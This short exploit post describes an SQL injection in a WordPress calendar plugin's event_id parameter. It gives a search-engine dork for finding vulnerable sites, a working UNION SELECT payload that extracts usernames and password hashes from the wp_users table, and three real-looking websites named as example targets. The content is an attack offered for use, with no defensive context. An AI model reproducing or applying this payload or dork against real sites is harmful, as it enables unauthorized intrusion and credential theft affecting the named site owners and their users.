WordPress Calendar Plugin (event_id) Sql Injection Vulnerability

.:. Bug Type : Sql Injection [Mysql]
.:. Dork :"powered by WordPress" inurl:"/?event_id="

Exploit:

null+and+1=2+union+select 1,concat(user_login,0x3a,user_pass),3,4,5,6,7,8,9, 10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28+from+wp_users

Example :

http://www.ism-florida.org/meetings-...+from+wp_users

http://curecmd.org/events/event-deta...+from+wp_users

http://www.aleciabatson.com/events/?...+from+wp_users